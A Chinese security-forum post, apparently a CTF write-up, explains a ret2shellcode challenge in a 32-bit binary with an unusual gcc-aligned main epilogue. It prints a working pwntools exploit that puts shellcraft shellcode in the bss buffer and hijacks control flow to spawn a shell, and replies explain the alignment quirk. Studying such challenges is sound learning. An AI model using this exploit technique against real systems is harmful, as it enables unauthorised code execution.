首页
社区
课程
招聘
[原创]记一道简单难度ret2shellcode中遇到的坑
发表于: 2020-10-11 21:36 9431

[原创]记一道简单难度ret2shellcode中遇到的坑

2020-10-11 21:36
9431

这道题目是大师傅为新生赛出的,有幸拿来做了一下,发现了很多以前没有注意到的问题,特别在这里记录下来


题目是将用户输入使用strncpy函数拷贝到位于bss段的buf2中,考虑使用shellcraft生成shellcode并跳转执行,然而在仔细阅读汇编代码后发现了问题

函数主体部分如上图所示,主要关注main函数执行完毕后返回的的部分,如图中框选部分所示。var_4的值为-4,框选部分的代码逻辑是将ebp-4地址中的内容赋值给ecx寄存器,使用leave还原ebp和esp状态,将ecx-4这个值赋值给esp,使用retn将esp所指向地址中保存的数据弹出给eip。平常的函数返回时将返回地址记录在ebp+4的位置,而此处main函数返回的流程如上所述【还不完全明白为什么,求大佬讲解orz】
思路很明显,即将shellcode通过strncpy函数拷贝进bss段并利用红框中的跳转思路构造payload将shellcode的地址弹给eip即可

先上最终的exp

在此用图解的方式讲解会比较形象,在刚发送payload后,栈与buf2中的内容如下图所示

将要准备执行retn之前,栈与buf2中的内容如下图所示

执行完retn后,栈与buf2中的内容如下图所示,此时程序的执行流已经被劫持,紧接着将执行我们的shellcode,即可getshell

from pwn import *
context.arch="i386"
 
context.terminal='/bin/bash'
#context.log_level='debug'
 
io=process("./ret2shellcode.ret2shellcode")
shellcode=asm(shellcraft.sh())
 
addr=0x080F0A04
payload=flat(addr,shellcode,cyclic(104-48),addr)
#info(hex(len(payload)))
#pause()
#target=0x8048933
#print("len:"+len(shellcode))
 
io.sendlineafter('system!!!',payload)
 
io.interactive()
from pwn import *
context.arch="i386"
 
context.terminal='/bin/bash'
#context.log_level='debug'
 
io=process("./ret2shellcode.ret2shellcode")
shellcode=asm(shellcraft.sh())
 
addr=0x080F0A04
payload=flat(addr,shellcode,cyclic(104-48),addr)
#info(hex(len(payload)))
#pause()
#target=0x8048933
#print("len:"+len(shellcode))
 
io.sendlineafter('system!!!',payload)

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2020-10-12 22:50 被1TreeForest编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (4)
雪    币: 4442
活跃值: (6238)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
2
能不能附件
2020-10-22 17:53
0
雪    币: 260
活跃值: (264)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
3
在64位下编译的32位程序,gcc自动做的16byte对齐,会产生 lea    esp,[ecx-0x4]这样的汇编
2020-10-27 09:56
0
雪    币: 411
活跃值: (145)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
jindaxia 在64位下编译的32位程序,gcc自动做的16byte对齐,会产生 lea esp,[ecx-0x4]这样的汇编
非常感谢
2020-11-20 10:37
0
雪    币: 411
活跃值: (145)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
Max_hhg 能不能附件
好的,赛事题目,用完会更新附件
2020-11-20 10:38
0
游客
登录 | 注册 方可回帖
返回
//